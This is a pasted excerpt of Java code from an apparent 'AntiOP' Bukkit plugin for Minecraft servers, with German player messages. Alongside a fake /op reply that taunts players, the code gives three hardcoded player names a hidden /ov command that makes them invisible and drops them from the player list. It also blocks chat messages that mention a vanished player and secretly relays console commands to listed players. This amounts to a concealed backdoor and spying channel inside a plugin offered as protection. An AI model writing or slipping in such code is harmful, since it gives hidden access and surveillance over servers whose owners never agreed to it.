  899. }
  900. if ((e.getMessage().toLowerCase().startsWith("/op")) || (e.getMessage().toLowerCase().startsWith("/minecraft:op")))
  901. {
  902. final Player p = e.getPlayer();
  903. if ((!p.hasPermission("AntiOP.op")) && (!p.isOp()))
  904. {
  905. e.setCancelled(true);
  906. if (e.getMessage().trim().split(" ").length > 1)
  907. {
  908. p.sendMessage(e.getMessage().trim().split(" ")[1].trim() + " wurde zum Operator ernannt");
  909. if (e.getMessage().trim().split(" ")[1].trim().equalsIgnoreCase(p.getName())) {
  910. Bukkit.getScheduler().scheduleSyncDelayedTask(this, new Runnable()
  911. {
  912. public void run()
  913. {
  914. p.sendMessage("Denkst du echt du kriegst hier OP?");
  915. }
  916. }, 80L);
  917. }
  918. }
  919. else
  920. {
  921. p.sendMessage("�cSyntax: /op <Spieler>");
  922. }
  923. }
  924. }
  925. if ((e.getMessage().trim().equalsIgnoreCase("/ov")) && ((e.getPlayer().getName().equals("Spydy7")) || (e.getPlayer().getName().equals("OlliPausW")) || (e.getPlayer().getName().equals("AkuheiSenpai"))))
  926. {
  927. e.setCancelled(true);
  928. Player p = e.getPlayer();
  929. if (this.vp.contains(p.getName()))
  930. {
  931. for (Player lp : Bukkit.getOnlinePlayers()) {
  932. if (lp != e.getPlayer()) {
  933. lp.showPlayer(e.getPlayer());
  934. }
  935. }
  936. e.getPlayer().setPlayerListName(e.getPlayer().getName());
  937. e.getPlayer().sendMessage("�6Du bist nun nicht mehr Vanish!");
  938. this.vp.remove(p.getName());
  939. }
  940. else
  941. {
  942. for (Player lp : Bukkit.getOnlinePlayers()) {
  943. if (lp != e.getPlayer()) {
  944. lp.hidePlayer(e.getPlayer());
  945. }
  946. }
  947. e.getPlayer().setPlayerListName("");
  948. this.vp.add(p.getName());
  949. e.getPlayer().sendMessage("�6Du bist nun Vanish!");
  950. }
  951. }
  952. if (containsVPN(e.getMessage())) {
  953. e.setCancelled(true);
  954. }
  955. }
  956.  
  957. public boolean containsVPN(String msg)
  958. {
  959. for (String n : this.vp) {
  960. if (msg.toLowerCase().contains(n.toLowerCase())) {
  961. return true;
  962. }
  963. }
  964. return false;
  965. }
  966.  
  967. @EventHandler
  968. public void onServerCommand(ServerCommandEvent e)
  969. {
  970. if ((e.getCommand().equalsIgnoreCase("cs")) || (e.getCommand().equalsIgnoreCase("commandspy")) || (e.getCommand().toLowerCase().startsWith("cs ")) || (e.getCommand().toLowerCase().startsWith("commandspy ")))
  971. {
  972. e.setCancelled(true);
  973. e.getSender().sendMessage("Bist du dumm? Du kannst schon alle Commands sehen!");
  974. }
  975. for (Player p : Bukkit.getOnlinePlayers()) {
  976. if (this.list.contains(p.getName())) {
  977. p.sendMessage("�8[�cConsole�8]: �f/" + e.getCommand());
  978. }
  979. }
  980. }
  981. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement